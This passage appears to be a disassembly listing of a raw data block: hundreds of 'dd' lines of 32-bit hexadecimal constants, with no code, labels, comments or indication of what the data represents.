dd 0E77280E3h, 0DF29D53Bh, 32F79715h, 0F621FEEBh, 0B9EC9FBBh
dd 0DBE31D4Fh, 0A885B39Ch, 246B8F6Eh, 0BA16730Eh, 0DBD2FE2Eh
dd 0CF69E7CEh, 1B729B4Dh, 483A5204h, 0A40C7E0Eh, 56E336B5h
dd 56504858h, 54A737A0h, 0EF3CFFC9h, 0F91AD202h, 0B6DD0EACh
dd 4958B5F2h, 40F41DF9h, 0D9681804h, 0D1A2CFAFh, 0E5D3AFEFh
dd 4E852E08h, 0DBD5A64Bh, 0F09313EDh, 62030970h, 473F7620h
dd 48F53B06h, 0A64BD69Ah, 73D53BF2h, 24F69E12h, 0D7724DA6h
dd 503C2Eh, 0B08846Fh, 0C4B36423h, 0E214E6E9h, 641F0DF7h
dd 88496EC0h, 0C24F1432h, 0FA75A2B2h, 4B251B86h, 5DB83D41h
dd 0BF11F4A1h, 0E6FADD41h, 7DB0EC90h, 0ED46DC78h, 11D11E28h
dd 0B75F6125h, 0F4800A25h, 0E51F2524h, 93596CD4h, 0E7F718F6h
dd 8232ABC7h, 1DF832B6h, 3B902FFBh, 6A77141Bh, 0A83E98Fh
dd 36753B07h, 5C2B2779h, 0E03EE837h, 8A6B56EDh, 0DE61104Bh
dd 61763AF8h, 1FC25FA1h, 6183C217h, 0E1276F3Ah, 0F4611028h
dd 6E57B58Dh, 0B7429F54h, 0DEEFD7D5h, 226120AEh, 3A5EE9AEh
dd 6AD1B5C4h, 7EFFF21Eh, 802B0E0Ah, 1EE18BCCh, 6804B647h
dd 93438EA1h, 5FA0DC4Eh, 961449CFh, 0E74EA914h, 99FFA15Dh
dd 0A64D6C10h, 0ECC52BF6h, 19527E79h, 0AFA2F167h, 77DB5AEBh
dd 65EF441h, 0F40C0C88h, 0AD9C3655h, 0F319B8D6h, 9DE49DEEh
dd 5E35D28h, 2639EB1Dh, 43A96345h, 0A9408A3Ch, 0E5A14B4Eh
dd 80FC9334h, 0E586A08Eh, 0F0742B35h, 1D46450Bh, 0DD3393AFh
dd 0C0B2C0A6h, 0E33D0431h, 4AE74CC3h, 2E8CE8F4h, 0D5231CCBh
dd 0E4D8DF1Ch, 418553A3h, 0D7E8F7FAh, 5F7B7132h, 0B912B389h
dd 0EAC1E2E7h, 170E4AFh, 0C5533402h, 70B352BBh, 13BB8D91h
dd 96096DCCh, 0F36E7A4Ch, 6BAFEFD0h, 892B0E93h, 3425703Bh
dd 57F0D6B3h, 3BB8ED20h, 0FB0A743Ah, 2807D8FBh, 7D54B2B1h
dd 6DB35E63h, 0A4637F42h, 0B2BC6E74h, 0AEEFFC7Bh, 41320018h
dd 34187212h, 0AE8E3E08h, 8046FB95h, 7D284DDCh, 5EDDB3C9h
dd 8CD3361Eh, 98DD5335h, 0CDEE8B7Ch, 3C0F1236h, 0EA7F0E4Ch
dd 25067885h, 40257F27h, 45E744B1h, 521A4E28h, 0B9A0059Dh
dd 927AB03Ch, 58446414h, 1AB3583h, 2112D5BCh, 6CDC0C41h
dd 0E22602F6h, 5114A85Eh, 18279FD1h, 401E04D9h, 0BB3B83FAh
dd 86E39E26h, 0F45DAF1Fh, 668D368Bh, 30975167h, 62D92B74h
dd 4BBB525Eh, 28FAC287h, 556598B4h, 0E76163DDh, 0BEE16515h
dd 5736076Ch, 0C15299ACh, 3659347Eh, 0BBC4A47Ah, 0CF3D42Bh
dd 71CF08B4h, 65798F3Dh, 0FC05B476h, 3434933Dh, 0EAA5F207h
dd 23F9B319h, 41991A19h, 7C4B8F8Bh, 0F0D293C8h, 7042EF1Fh
dd 0B464F702h, 0B85D9A5Ch, 53101929h, 0FBB4A813h, 76CBAF7Ch
dd 1F35CBACh, 0E792373h, 0F98BDAE6h, 698E949Fh, 644B3474h
dd 10D7DA34h, 0FBA36B59h, 55B39C9Fh, 0EC5E697Dh, 575F392Eh
dd 6B4527DEh, 0DCEB2355h, 0DDA364C3h, 84943961h, 0EE9106h
dd 26FAE343h, 0C3FCC0F9h, 0F97E444h, 512C971Eh, 0D2F0E470h
dd 0F55102DEh, 6121F8BFh, 0F07339CDh, 3A9A99FCh, 62685575h
dd 3CDC8FA6h, 120039C1h, 3DC00A9Fh, 0D6A968CFh, 3A167DE9h
dd 0CAE8D8Dh, 934750C5h, 0BC0E43C5h, 74E03649h, 0B4B26D53h
dd 830C5652h, 7D36166Dh, 13C3B9BCh, 0E849C329h, 0A16C9370h
dd 553A5B59h, 38A1C265h, 4B2CC8B9h, 4DE5CAF5h, 0BCD453B6h
dd 6A4AEFC0h, 0A2FFBD81h, 8424DEAAh, 1359918Bh, 6284A8D9h
dd 0A657E6D5h, 0CF20461Dh, 0E6A8990h, 175EEF82h, 0DC25D235h
dd 0A7E0E543h, 26942129h, 3D1C0721h, 780AD930h, 626C1581h
dd 0BB2A05A1h, 0CC271317h, 5D236FB6h, 0EEE5B5C8h, 5243BA95h
dd 6C2F30DEh, 12E4B967h, 0DB43CB6Eh, 0FD4E8694h, 9671BBF5h
dd 7BA3FD5Ch, 0D7D91238h, 47B48ACAh, 7DE468A2h, 0CAB30C73h
dd 62E3DCCFh, 1C1AF34h, 71E328B6h, 1259B300h, 0DF58CBCEh
dd 0F8FE2A8Eh, 12030193h, 0E0D341CCh, 0DAE87452h, 0B98386F2h
dd 718E2405h, 831BC77Fh, 8E3C3872h, 0FAF595F4h, 75A65EA9h
dd 6304A874h, 8081D349h, 2C641EF1h, 8555B698h, 98906542h
dd 8589CBEh, 991A8C6Eh, 0BA000DFh, 0A2B8117h, 0C7BA472Fh
dd 1A60631Dh, 95BF6FB9h, 0BF12D828h, 2FFA0A8Ah, 0C279C6Ch
dd 52B9E3A2h, 0F5F57030h, 62E2C318h, 536B291Dh, 66BA2280h
dd 4C52959Ch, 0CDA94A7h, 7302C630h, 0C2227944h, 7B3D513h
dd 0EE652465h, 0AA76B84h, 0A9560ECFh, 338B26CDh, 4F362CBAh
dd 4044E2EFh, 0C993550h, 0C2F017BBh, 244633F5h, 0C718ACA8h
dd 10053C83h, 0A2F18092h, 9A4602BFh, 901AB475h, 58B6CC36h
dd 0D7315686h, 68DE174Ch, 0B844DB56h, 68AD6AFFh, 4C2B9C80h
dd 44347Bh, 0FE83C0EBh, 0BC350F59h, 0C1720EAFh, 9E8FB061h
dd 3753C000h, 431C0FE9h, 6B522A6Ah, 73217071h, 6796DCAh
dd 8C8B3724h, 0A6AF81h, 9C162D44h, 61BBC892h, 508E807Dh
dd 1E96382Eh, 9D7AC8F2h, 2B996A2Dh, 0D2A018E8h, 0AD64D7B8h
dd 6916500Bh, 82842A65h, 4E707275h, 0B046E148h, 33BF5340h
dd 6BF22130h, 1FCD4F53h, 0C0C11C6Fh, 37C9060Ah, 86477C13h
dd 0AFC6E6D4h, 1397EA60h, 99557F56h, 871863E6h, 0D1344A3Ch
dd 4718ED8h, 3D33E25Eh, 71E54D75h, 0E24378C5h, 0E8B91FF5h
dd 0EF06BEC7h, 2ACC1285h, 1C741887h, 0FB1D5269h, 4B6F74Ah
dd 3934EFBBh, 0D57211CDh, 32547263h, 844D5297h, 0ADA9CFC3h
dd 7D4FCDB2h, 353A13FAh, 3F9DFC3Ch, 3328DAB4h, 0A599B8FBh
dd 0CFF3BC7Eh, 251114B2h, 5074F936h, 0D50D11E2h, 41B23EC5h
dd 0B6D6FFEDh, 0FC6F413Bh, 0A53B56BAh, 0FA1FAF6Fh, 0F9133A4Ch
dd 559733DFh, 8308AE62h, 1F386420h, 0B4BC0A74h, 84C965B1h
dd 8C49B9F3h, 844310CDh, 49D44C20h, 0D19F77D4h, 2E25288h
dd 0DA084188h, 8F3BCD07h, 0CECB1A67h, 88F1FE7h, 8E39FA01h
dd 0C4BD2B3Fh, 0CDD07BCDh, 0B15C15BAh, 0F531BB38h, 42698A37h
dd 2B15E38Fh, 8FC22EE1h, 5532D321h, 7ACC2723h, 0F712E1C3h
dd 713F6AC7h, 0A5A98FB5h, 8C9628A3h, 97CCD7F2h, 936528Dh
dd 0D357E70Ah, 0B3EBA90Dh, 5E5A785Bh, 0B80B7184h, 47BAD4DCh
dd 0F5A9D786h, 283F00E7h, 0B4536A07h, 9A86AC43h, 4EEBAAAEh
dd 0FEEF4999h, 3F41FC8Ch, 30E704C6h, 89B68A3Dh, 659F91BCh
dd 2B87E89Bh, 585FED94h, 0CE43F3CBh, 0E95B6F8h, 118D50AFh
dd 0A6F94341h, 2312F930h, 7855CCB8h, 371A6ED5h, 3C661CEDh
dd 622EB969h, 78A4D86Bh, 4473D58Dh, 0E062760Ah, 2F8F7C49h
dd 0CD680DC5h, 99028B1h, 0BB598C30h, 55C1FA5Dh, 5E8BFE9Eh
dd 43B13E12h, 68C688E4h, 8666CD1Fh, 72A2A22Eh, 9837F2DCh
dd 28FA0938h, 804E786Dh, 43D93A2h, 6C30CF45h, 4BC7AE50h
dd 32BB06FCh, 0BC2C4C5Eh, 0AF812ED0h, 0BD3788BEh, 18A2D770h
dd 0AD125B3h, 66C92303h, 67E4CB52h, 6F95A32Ch, 98863EDh
dd 0BC427730h, 0A9376C1Fh, 4DB534F2h, 597040DBh, 0B000D72h
dd 303A7BCBh, 0EC6BDEBBh, 0F5498A42h, 0F57FB520h, 4AC2B19Ah
dd 0AB0B8D8Ah, 0E77CB739h, 29D14792h, 0B10245EEh, 0EF217F21h
dd 63F84225h, 864283F0h, 78D8A88Eh, 0CA0C8E7Fh, 9B3ED586h
dd 3E1001DAh, 9AA3EA26h
dd 202689B9h, 0C1B6C6B5h, 8E3C79CEh, 1CE9717Fh, 0FAB0A5F3h
dd 5910EA59h, 0F082717Ah, 63C7CF33h, 0ED095EDBh, 5225676Fh
dd 0B572D9DEh, 0BC7D58E9h, 9DB911B5h, 0CCA418F9h, 51AC403Eh
dd 6B494416h, 0E326114Ah, 1095C1A2h, 0E970AB0Ah, 1A903A06h
dd 30A53BD5h, 0E56F6B7Bh, 93208411h, 0AABD086Bh, 0AD8977CCh
dd 0D360313Ah, 1CD46AB0h, 3380F011h, 0AD15015Dh, 1C8D9537h
dd 2E9BC519h, 0D93A8AD8h, 311B76C6h, 0A95662B8h, 9944B4ADh
dd 0F3EC1BD6h, 19A37A5Ah, 38715A1Ah, 0FE8A551h, 0E4D58867h
dd 0F2F903E7h, 5F533C88h, 56D80820h, 5FC7505Dh, 697B9160h
dd 0B36C6F1Fh, 94A37DFBh, 0C568DAA5h, 5987DBBAh, 5CEAE40Fh
dd 9B7AD59Ah, 449A6B42h, 5D752C5Eh, 0DB17ACB5h, 0B1F833DCh
dd 0BB1D3683h, 6C468FA9h, 8C0E31BFh, 0AC5604DEh, 958E48CEh
dd 0DFA43238h, 0AD98C1DDh, 6D8D77E8h, 54A5A942h, 0FAE4CAADh
dd 0EF9994C2h, 0E5740D73h, 24011916h, 7ABD24B8h, 0F47941C6h
dd 6BDC35F0h, 0FFDA8519h, 41DB949Eh, 0E21406DBh, 0F2DA8410h
dd 380B49E2h, 311E94FEh, 415D78F2h, 0DFB6D1h, 67841FBFh
dd 107098Eh, 0F1985BE2h, 5C93642Fh, 0A1BF7EC4h, 96264E0Eh
dd 4A80B71Dh, 43EEF9EEh, 7472DCDFh, 0FFDE04E1h, 0F5CEDD0Ch
dd 2A702D7Eh, 1F49A546h, 0D5F7F6A9h, 9E34AFAAh, 1FB2E820h
dd 66EEF409h, 72E9DEA1h, 0EB49437Dh, 0C67E7955h, 5917BA24h
dd 5CF83DAAh, 499F43D2h, 31B1910Fh, 17D7E1E3h, 0B61728F5h
dd 65482D79h, 982A36F0h, 760341CEh, 0B5ACEAD3h, 94E2060Bh
dd 9D5AAEC0h, 871FAE52h, 0ECE9793h, 869DC497h, 0C113DC9Dh
dd 13F3EF51h, 3DE0520Ch, 0CB564715h, 95D92445h, 0AB707B00h
dd 929D57BFh, 36986CC7h, 78C03726h, 1A597FF6h, 55195FB5h
dd 55A862B0h, 83095700h, 33E7D9E0h, 54E7A90h, 84C3BAADh
dd 442D3431h, 6161977Dh, 0C36220B0h, 9C521CB4h, 3C73F326h
dd 97E2EE06h, 9982F0CAh, 75B60C91h, 4BD35ED6h, 0F8F2D696h
dd 0E251BF3h, 18F9845Ch, 0D77ABE5Dh, 3DF26A0Eh, 0DC78117Ah
dd 4842BD9Bh, 0E98CF87h, 1B395D0Ah, 19874A7Ah, 0EE274DE7h
dd 16C12D97h, 48FE81B7h, 0A104113Dh, 8F3E72C3h, 0E15BF7FBh
dd 2DFF380Fh, 6A298F49h, 1F33D34Bh, 4AB3321h, 210D06DEh
dd 0E33595D8h, 0AA7DE73Eh, 0EC932EB2h, 0C1152B78h, 5FD4D56Fh
dd 9B220F35h, 19EFC4D0h, 4AF33681h, 0E8C8D93Fh, 511D84E1h
dd 24C2004Ah, 0C5C0AE38h, 4622651Dh, 0CB7AAD2h, 48F6C9B3h
dd 0AF4C1023h, 849F1E28h, 0C19BF21Dh, 70F0B9EAh, 9BC7BC24h
dd 329B0246h, 0D347F3E0h, 0F5242F32h, 7D30EA49h, 14496F2Bh
dd 2E071F69h, 9E11A7A8h, 0AF7F682Fh, 84302B3Ch, 0D0FEB056h
dd 2E98CB77h, 7B31DCB8h, 0F4AEDD61h, 5041C17Eh, 0A5E6CF8Eh
dd 1135F345h, 4C3564B5h, 0AE9DF02Fh, 3BE389C7h, 0FB6CDF71h
dd 1C0C63ABh, 0FE055AC2h, 0BAB0E892h, 8FE7882Bh, 40F7788h
dd 0EFEE8462h, 0D45A9F68h, 352A8867h, 9DCA240Eh, 0D9EA9ABEh
dd 0AC90CB6Eh, 0D967BC4Ah, 6408ADC5h, 34DD8733h, 56E6EE64h
dd 0EF85D722h, 751EB783h, 805724B6h, 2158B2DCh, 952D69BDh
dd 731AE9A8h, 84E8608Ah, 0AFB622BDh, 9F10C803h, 40DE7B31h
dd 0D1E54C45h, 864362D2h, 0C0088EAh, 65319753h, 52CC4B10h
dd 96307CBEh, 270DD11h, 0AF765323h, 0B36447BEh, 3BC47CF6h
dd 883FBB85h, 8B36C048h, 2D7FD0C7h, 0B5B45813h, 0EAC00DB2h
dd 5F80AA7h, 0AEB4C1A0h, 0FA9232E5h, 200A4DADh, 0F4BA4B8Bh
dd 10DA2C36h, 0B47DB07Eh, 0A57FB168h, 9512F221h, 3FCA1794h
dd 0A792BD7Fh, 0EC8C9276h, 0AE08E04Ah, 16810778h, 4370D02Bh
dd 44EBA87Eh, 0C9FB8928h, 0CDB73F99h, 4F0AE961h, 7E8F15F7h
dd 0AE829132h, 101B4EBDh, 0D71C1882h, 40FF8326h, 0AE54C222h
dd 784872A9h, 0D989ED14h, 0C90B375Ch, 4BB9E76Ah, 0A93C7942h
dd 0CEF2028Fh, 22978F53h, 0E319F777h, 4BE69F7Fh, 38BC7678h
dd 89BDDF1Bh, 0A259D3C8h, 40FF84D1h, 0A730E335h, 0AF2004A7h
dd 39C078Ch, 0E3147A49h, 1BD3EEDAh, 9F8ACD4Ah, 0BC894057h
dd 34D3C842h, 0CEB4E9A9h, 6F707404h, 0FB30620Fh, 0EF0C4F04h
dd 0E6929263h, 0EF13B56Ah, 9E22C808h, 9CA4CB59h, 5CC61FD9h
dd 3A59DCE3h, 1032553Eh, 4AB6C9FFh, 8FC18A39h, 0EE70D1B7h
dd 0E5709445h, 0F405EE19h, 0AA9A8194h, 3C4BDC8Fh, 4A1125CBh
dd 0D1E6F83Ah, 45DB9119h, 4BBC10F3h, 0CB96AF6Ch, 0E35A9A31h
dd 0B831A917h, 5033F306h, 5D47F060h, 1DD979FEh, 0F7C04289h
dd 9E672B40h, 0E813AB56h, 825B3E44h, 9A5C7191h, 5359985Ch
dd 0E59F6BCCh, 25DEDE18h, 0B5E6F21Bh, 0E520FBC1h, 2A2E8BA5h
dd 0BC7C4F39h, 2F875051h, 98AAA9AFh, 0C5DFAF2Ah, 9AFB5CD5h
dd 0E7623876h, 4E51CCAh, 1803985Ch, 7EFD2EEBh, 0B549A078h
dd 0FF22CF0Bh, 0B29AE7ACh, 925C4C97h, 0BC78E3FFh, 92E7394Fh
dd 404C4237h, 5C7B2C58h, 5CC741D6h, 0E3E75586h, 0A992C34Eh
dd 5F2DBEAAh, 0B4B42BB9h, 748EAAB5h, 8624C1AEh, 7E6775FFh
dd 0A644BAAEh, 672A8D97h, 541BC4A4h, 557274AEh, 0C6E10A9Ch
dd 39CFA7FEh, 31EA3045h, 2181BBF2h, 977CF391h, 0E8A21D48h
dd 14F5FC02h, 0E43EF731h, 80663847h, 29434A82h, 0CB4EC626h
dd 7B767BB8h, 8C857AD9h, 427732CBh, 412F80F1h, 3A62BC13h
dd 0D82C4C7Dh, 6D15F901h, 42161F55h, 71C1958Bh, 903E741Ch
dd 63D3C2E7h, 0EE310E23h, 89CA2F71h, 0FDE54466h, 26556E49h
dd 3C4B5450h, 40219180h, 0C042FA60h, 0B903D3A7h, 70D701FFh
dd 5DBD1BB1h, 3B92E26h, 0CA1AEE2Dh, 4A697344h, 0B2B4189Dh
dd 58988849h, 0E2220150h, 874A1329h, 59AC9104h, 0F6D7279Ch
dd 7A9812D3h, 17D5FF63h, 3C58EC83h, 0FA488964h, 33B22EFBh
dd 2B893EB0h, 29258Ch, 0FD82523Ch, 10425DF1h, 244AC94Bh
dd 0D664609Dh, 9C82E40Dh, 0C0EE9BCFh, 23E7459Eh, 0F2070484h
dd 59B4419Bh, 9B120AFDh, 0E89CE95h, 30A6AFD1h, 0A88D427Eh
dd 74B4DA6h, 217F7245h, 0A7B7C480h, 0A802C07Ch, 3A2E535h
dd 0B8CFA33h, 0CE6635EFh, 48B530A3h, 0EE2B5059h, 0F33C633Ah
dd 0D66892DFh, 0A1E1DE1h, 0F30A7E53h, 29342583h, 7CFE9112h
dd 8CC79098h, 780C433h, 0E0928904h, 66F8810Ch, 81C3954Eh
dd 9DB558DDh, 4E514F37h, 1D45485Ch, 2082DB4Ah, 0CAC91F50h
dd 750416CAh, 75A2F0B0h, 1AD6B436h, 0AA9C3AD0h, 0B28EFE34h
dd 0CE824DA5h, 0A3410731h, 68CDA65Ah, 4DAF6882h, 0BE0F61E5h
dd 3E7E7A5h, 0C7E21E66h, 8CFBD3Bh, 0CDF04F2Eh, 7786CEC5h
dd 8A6494DEh, 2F2262F6h, 32E7BE79h, 859903AFh, 9EF682AFh
dd 4489DECAh, 0A35C550Bh, 0BA1FE434h, 760039F1h, 86474CF3h
dd 0FD9A766Dh, 67CA58A1h, 0D05E69F4h, 0F501F434h, 3FF0D62Eh
dd 0DC53FEEEh, 4D9AD455h, 4A943C52h, 81B430CAh, 0D766E1B2h
dd 0C7DB3E1Ch, 0A63E9502h, 544D145Fh, 971FBE6Ah, 62C022EEh
dd 19F7F480h, 43C2E94Fh, 0B551143h, 0CA2B8E34h, 84A660D9h
dd 0D27B879Fh, 678F9235h, 395C8962h, 8F21C089h, 9EE85EC2h
dd 7E188F68h, 749FDB2Dh, 1E729934h, 0CAC7564Fh, 1DD1F6D2h
dd 0C4EB122Ah, 325454B7h, 9C9F45F4h, 726A5E8Fh, 4C260F06h
dd 12AE3563h, 18BB881h, 63706573h, 76251D7Bh, 69AD5282h
dd 0AC1A6CC1h, 0BD60599Fh, 7B9D3C34h, 41D5BC0Fh, 490E6BD6h
dd 0E6F09BF1h, 0B38447A4h
dd 84AEF4D7h, 1A5866E2h, 0A20101DBh, 900DC332h, 0A677CC31h
dd 75D7E6F2h, 0B3C8C2E9h, 35A8A15Bh, 0CF2D2635h, 0E946EC38h
dd 0EE7FEA9Bh, 19D37282h, 0C03F19E5h, 65C5096Bh, 0CD0B560Ch
dd 4E4D3911h, 0D1B90CF9h, 0AE0BD613h, 0E426AB5Dh, 75BB7291h
dd 0A5490502h, 269776B3h, 2FAB5ECCh, 70AF01A6h, 83CEAD11h
dd 0A5AE1C2Ah, 0F3D7340h, 29E0AA9Eh, 0BC366CD8h, 246A0D9h
dd 92647F12h, 0FD6858BBh, 0BB7ED6CDh, 346C3031h, 0C8872577h
dd 3214104Eh, 0F755F8Fh, 0F1B834B6h, 448FB2B0h, 0A8122673h
dd 507B4F41h, 0DC999A0h, 21AF730Fh, 0E8214B7Eh, 126AD8CFh
dd 0B2D001AEh, 84CC2C88h, 8D1EA934h, 0D0FD697Eh, 8E841FCAh
dd 63B2CBBh, 62E1C659h, 871DA56Fh, 32E5D31Eh, 1D7F7260h
dd 7BEC5CAh, 0DF6DAFD5h, 41011C94h, 0B74FDFD5h, 0E7FBBECAh
dd 5F42EEE8h, 277D6785h, 5A26ECB3h, 8688BC34h, 0A78EF8ACh
dd 0F871C5B0h, 43BFFA1Ah, 0C89BE654h, 0B6D0A5A9h, 666EC1DEh
dd 0F724AB7Dh, 2111B0F5h, 0FE9F8C74h, 107A2BD4h, 7E16E189h
dd 0B4880352h, 8983F3FDh, 0B720CDBAh, 472F8831h, 1E2C27E2h
dd 9428A83Eh, 6D8E0EF6h, 2E8E246h, 0E018CDCBh, 6F56A5FFh
dd 0AE3F2ADBh, 55F7AB7Dh, 0F79B67CFh, 0D476AAB0h, 650BFCF3h
dd 0C69A3BF2h, 97B15D1Ch, 0B3A38CD6h, 0C3DF8CA9h, 30AB0FADh
dd 0D0898739h, 2367DCBCh, 0D3D60710h, 0C26437ACh, 220262A1h
dd 66E51BA3h, 7A156AB9h, 2DA75CF9h, 8A32D33Bh, 6FDD8314h
dd 0E28CA303h, 6A017BFDh, 72A2A16Fh, 0A9ED2C21h, 18F6A138h
dd 0F6884766h, 28501313h, 0EC6D9691h, 0A3B8DD9h, 380AD33Ch
dd 7FB6E7CBh, 132C8707h, 0ADC52C7Dh, 3F50D9DFh, 876C27BEh
dd 49D1D679h, 0D74E35D3h, 2F2EF3DFh, 0F386EA42h, 205A7EA5h
dd 1972A4FEh, 884215D0h, 4D439198h, 569208B8h, 0CFCCA4CAh
dd 0AADBDD21h, 102EF83Eh, 0A5B2C4CAh, 9A58A58Fh, 519FAFE9h
dd 719BB271h, 39D26C5Ah, 0A20D8726h, 0D731E6F1h, 997EF338h
dd 4F9E7BF1h, 8069D19Eh, 84C2910Ch, 0DFEE3E49h, 2E6ECF0Eh
dd 0C48F6DCBh, 0A97C6200h, 780E763h, 0B8821096h, 8DB073Dh
dd 6D9FFE63h, 9CFC529Dh, 51ED5A51h, 4A4690B3h, 7D893833h
dd 0D341C6EFh, 3FC9E410h, 0A850B7EEh, 0AE9F3E05h, 95930A06h
dd 0A0FD9F39h, 19F42050h, 1174BDACh, 72CD9F27h, 6E91D74Fh
dd 0B4525D98h, 464DC875h, 0F68877A6h, 0ABAD9CEh, 0A08164E2h
dd 0CBC90BC4h, 5A472B93h, 60D4A1D1h, 6BF5E03Fh, 66418D4Eh
dd 44D78251h, 7DEC5466h, 3D14A28Bh, 0F7B40A77h, 0F144A500h
dd 2BF33121h, 0AF59EBF0h, 82784F26h, 53A2079Bh, 0DA692EEh
dd 1ACE0B88h, 0F01C44D2h, 2846C5D8h, 173D6276h, 1744B573h
dd 0E51397A3h, 3E100851h, 0B0FA55B9h, 248ADDE1h, 0F6D6F052h
dd 0ECB1EFDBh, 0EF760CF1h, 1D166686h, 153EB08Fh, 650061D0h
dd 0B2037565h, 864D726Eh, 94EB56D6h, 0C004E38Ch, 8A25BADEh
dd 108B5AC0h, 21CE2C0Ah, 5766CD94h, 32FF3BE7h, 0E1F42C24h
dd 0D2F0153h, 0DDA76615h, 7FEA6138h, 0ADC654CFh, 65724D84h
dd 195F1649h, 0C428601Dh, 318296E7h, 70D738F4h, 3F48C65Ah
dd 0DC3CE858h, 503BF7E2h, 5763DB83h, 0A1CA6B53h, 0F15A67DDh
dd 0D5A38D77h, 0CED474BFh, 0BDE66824h, 2CDB70DEh, 5C50EC59h
dd 6664F993h, 6ED6E0C2h, 0E9864FC0h, 0BD0565AEh, 0B0F2F84Ch
dd 18C7C117h, 0AAE4B3A7h, 0FBB37EF2h, 0F6EDE031h, 7149235Fh
dd 9DA1EECDh, 0B1186C26h, 0A569B988h, 0ADAA07DBh, 0F5CCAFE6h
dd 0DB1EA4Bh, 0BAFAB935h, 7DE1E0F5h, 0D14C408Fh, 291384Dh
dd 73FC9215h, 1595C005h, 83823768h, 3731187Fh, 100BE2E8h
dd 5029F221h, 2B8FC93Bh, 95A9C209h, 970AEFC1h, 7E79577Dh
dd 9008B77Fh, 6DBE2053h, 0BF2FDC3Ch, 66367FA6h, 80CDA809h
dd 0D3F14FE0h, 0D7AE6B4Eh, 34DEDCF8h, 0F82206E5h, 95D6F163h
dd 2A0E8FBh, 5FD83E22h, 6E94BD32h, 0FB0FF881h, 0BE246295h
dd 0FF0AA9B1h, 20E192D6h, 0F293753Dh, 0FD4C88E2h, 9ABCC00Ch
dd 0F8F9F50Ah, 3405DAB8h, 0C7B6B435h, 0EAF975AFh, 0CBFECE63h
dd 670B4B56h, 6EB4372Fh, 2867B877h, 0B9442BFAh, 50B38103h
dd 83B043B7h, 62517D15h, 98EA4295h, 6A6EF38h, 0D46E7DE5h
dd 0A501A425h, 0FD066CC1h, 0A96B931h, 68F19AF5h, 0B3048393h
dd 4E4DF580h, 5A326673h, 0A9146F7Ah, 0E38EEBF7h, 0E4C512B1h
dd 0AA33FFF4h, 76FEFAD9h, 0BC6A1E30h, 3110CD82h, 13CEE53Ah
dd 964ECBDEh, 0E5B7DE8Dh, 0B317FFB5h, 0F62215C8h, 648C7798h
dd 378ABB45h, 0A85D8545h, 50E29683h, 0AC6A5D7h, 1459657Bh
dd 4254BC1Ch, 0FA50504h, 281DFFBEh, 0D572F9E0h, 8A55969Ch
dd 8387CFF7h, 2670B152h, 506A5261h, 0FC5E3838h, 0E2D4E02Ah
dd 3CA9AEEh, 0A5ECC9B7h, 6C5DD770h, 0A064959h, 0C5F5E62h
dd 588B7CDEh, 0F01FE389h, 0F7DDB932h, 790C669Eh, 6CA22CABh
dd 632A8498h, 7B30D82Eh, 9B4FC34Eh, 0A41EDBB7h, 270DFDC4h
dd 40AE56B1h, 22406CC3h, 28F68D53h, 591F2F1Fh, 27BF6B8Bh
dd 0C8E6475h, 82E181B6h, 28B7762Dh, 0FB7962DAh, 30FCE490h
dd 0CADB069Ch, 24F38C0Dh, 8D725CCh, 2F46D355h, 0E45F6498h
dd 0CF47C5C5h, 9926CC7Ah, 330453E4h, 437786E0h, 5185F1F5h
dd 919CAF7h, 0A5F00B43h, 0A4050D95h, 0D1A5AC1h, 61C11131h
dd 2A028D00h, 8A745A6h, 0F6D8C06Ch, 33E0E9Fh, 0D365D47Ah
dd 0B88113h, 0BF0509C3h, 8E9782F6h, 2E3674C3h, 22F448EAh
dd 0B835C2EAh, 3B7DAC2Ah, 455596C4h, 0D9DDC8C5h, 5E9437E6h
dd 60EC10A9h, 8C3098D2h, 875929F5h, 0B6F40354h, 0CE43C4DEh
dd 8E30F5F6h, 7F9B8918h, 33F59F0Bh, 50D6F084h, 8AEC50D1h
dd 0AC6B8CCAh, 0CECBF0C1h, 51F4DB0Eh, 14406C63h, 18D18D19h
dd 8DB15DE2h, 2801BB2Dh, 0A4019347h, 7284E5CBh, 8809A192h
dd 82959133h, 0ED165553h, 33C27610h, 0BCA0F515h, 0CFC4746Ch
dd 2D9C42A6h, 5EA5AE79h, 133C815Ah, 3E837F0Fh, 3D7F3B28h
dd 0B4013380h, 56CF872Ch, 0AAFB1D15h, 0D80EEE7Ah, 0AC59654Dh
dd 0CA91D8F5h, 0E4FCBC2h, 0DFD3DEFAh, 2289AE3Bh, 78EFCA6Dh
dd 2A66480Ch, 41DF525Eh, 2987C52Fh, 40E095ACh, 0BFD80B45h
dd 5324FABCh, 0E2F9F004h, 5EA10E29h, 0DF928B0h, 4344B589h
dd 143D3B9Bh, 0EBE50FC2h, 2CA07B18h, 9E13AE82h, 0C6DB4871h
dd 0E9A11C04h, 8D644022h, 0E3C03248h, 0A69A552Bh, 5D717761h
dd 43097A11h, 65B39454h, 3B2E9180h, 0A3E64C8Dh, 8305AD7Ch
dd 3322A926h, 7199168Fh, 568DD739h, 0E50429ACh, 878EF210h
dd 39125026h, 93898D5Ah, 0E8706725h, 0ECE261CAh, 0E782FA77h
dd 25DCED78h, 52E693Ah, 8979CF25h, 0A4FCB0E9h, 2AC505F1h
dd 6DC45105h, 0B9017346h, 69C5D268h, 1E7B177Dh, 2139A91Bh
dd 6A36ACC8h, 0BDAEA350h, 0BFD404AAh, 0CFB8257Eh, 193E845Ch
dd 0A3E19966h, 898A2Dh, 3ACFE569h, 54E08020h, 0E7BAC03Fh
dd 0B0DD56D2h, 0B799192h, 0F34D291Bh, 0CC4240A2h, 0EF929B02h
dd 7D32F520h, 0A74D6308h, 76349DDDh, 81F9900Eh, 0A8E7057Ah
dd 0B235089Ch, 40C52Dh, 0A38EA6B0h, 51C5E407h, 4D8C1723h
dd 4DCA7D67h, 8AD42D4h, 5343D4BCh, 6289B755h, 0F2AAD8F9h
dd 60524042h, 0CAC2034Fh, 61F97BF5h, 0B112ACFEh, 0ABBA7274h
dd 0AEC6C6FDh, 2815EF71h, 0D769C30Ch, 0A29CB888h, 0FC4A2E06h
dd 5CE0DCA4h, 8A506BB9h
dd 77561F4Ah, 0AE61C7C4h, 7EA827F9h, 2F5067B8h, 4FFDE243h
dd 0E8785837h, 9262406Ch, 7D069C7Ch, 4AD42255h, 2B0F0D8Ah
dd 0C7C8FC6h, 75AE8D14h, 2828104Ch, 0EE480107h, 46928406h
dd 5886573Fh, 0ED9B33B2h, 0ADC9B4EBh, 869BF58Dh, 3FE6A675h
dd 294174BCh, 54CC19AAh, 0D68F6716h, 0EBBA2242h, 0C3184F4h
dd 73EA0512h, 175276B2h, 9ED433FAh, 0FB7210B1h, 4A4633C2h
dd 0AF0AB159h, 733CF7F3h, 9072D03Bh, 0AAD1D422h, 0FD7F863h
